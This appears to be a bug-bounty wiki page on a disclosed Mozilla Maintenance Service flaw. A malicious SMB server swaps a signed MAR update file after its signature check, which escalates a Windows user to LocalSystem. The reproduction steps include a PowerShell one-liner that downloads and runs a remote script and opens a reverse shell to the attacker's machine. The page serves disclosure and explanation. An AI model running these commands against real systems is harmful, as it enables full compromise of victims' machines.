Mar File Lock Bypass Leads to Privilege Escalation via Mozilla Maintenance Service
The Mozilla Maintenance Service read a MAR update file twice from a user-controlled path, once for signature verification and once for the actual update, and the file was not truly immutable when served over SMB. A malicious SMB server could serve a signed file for the check and a different, unsigned file for the update, letting a standard Windows user run code as LocalSystem.
Originally disclosed on Mozilla
- Fixed in 59 days
- Paid in 2 months
- Disclosed after 59 days
Created attachment 9308915 poc.zip
When updating with the Mozilla Maintenance Service, the update data is loaded via a user-controlled path that points to a mar archive. A signature check is performed, because only mar files from a trusted source should be used. The signature check only works as intended if the content of the mar file does not change, because the mar file is read twice, once for the signature check and once for the actual update. The mar file is only opened once and is write-locked so the mar file content should be static during the process, but this doesn't hold true if the file is read from a malicious SMB server. After the first read of the mar file for the signature verification, a malicious SMB server can provide a completely different mar file for the actual update so that the signature verification can be bypassed. This works at least on Windows 10 Pro, for which I was able to exploit the issue.
Proof of Concept Exploit
The poc exploits the issue to invoke a reverse shell by the normal Windows user, running in the context of the LocalSystem account.
First the issue is exploited to downgrade firefox 108.0.1 to a manipulated version of firefox 47.0. This version has the content of the uninstaller\helper.exe replaced with the content of the updater.exe and an addtional uninstaller\MSASN1.dll which contains a reverse shell payload. After the downgrade the MozillaMaintenance is used again. During the second update the helper.exe is called which loads the MSASN1.dll and executes the payload.
I tested the exploit on a fresh install of Windows 10 Pro with Microsoft Defender enabled. Antivirus solutions can interfere with the poc. The poc doesn't work if Microsoft Defender is disabled. The poc expects the mar file to be read twice (probably antivirus check + signature check) before a manipulated mar file will be delivered.
For the malicous SMB server the impacket python module is used.
Steps to Reproduce:
On computer A which needs docker:
1.) download and extract poc files
2.) build docker container: sudo docker build -t ffpoc .
3.) start docker container: sudo docker run --rm -it --name ffpoc -p 444:444 -p 445:445 -p 8080:8080 ffpoc <ip>
<ip> has to be the reachable from the victim. Wait until the poc setup is completed.
On the victim computer B which has installed Firefox 108.0.1 to "C:\Program Files\Mozilla Firefox" and the MozillaMaintenance Service to "C:\Program Files (x86)\Mozilla Maintenance Service" and has SMB enabled:
1.) Open the powershell console as the standard windows user and execute: IEX (New-Object Net.WebClient).DownloadString('http://<ip>/client.ps1'). After a few minutes a reverse shell from computer B to computer A will be started. Type whoami to check for priviledge escalation to the LocalSystem account.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely a time-of-check to time-of-use flaw: the MAR file is opened once and write-locked, but a remote SMB server can still return different content on the second read, so the signature check and the update consume different data.
Impact
A standard Windows user could escalate to the LocalSystem account and run arbitrary code; the author notes the proof of concept depends on Microsoft Defender being enabled and that antivirus software can interfere.
What the attacker needed
Windows victim with Firefox and Maintenance Service; SMB enabled on the victim; Attacker-controlled SMB server reachable; Victim runs a PowerShell command
How it was found
- Build and start the Docker container hosting the malicious SMB server and payload files.
- On the victim, run the provided PowerShell command as a standard user to trigger the update process.
- The service reads the MAR file for signature verification, then the SMB server serves a different MAR file for the actual update.
- The manipulated Firefox 47.0 build is installed, containing a replaced helper executable and a malicious DLL.
- A second update runs the helper, which loads the DLL and starts a reverse shell as LocalSystem.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
An update file is checked for a valid signature and then used to install the update. The program assumed the file could not change between those two moments, but when the file sits on a network share the attacker controls, it can be swapped after the check. The attacker then gets their own update installed with the highest Windows privileges.
What is Race condition?
Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.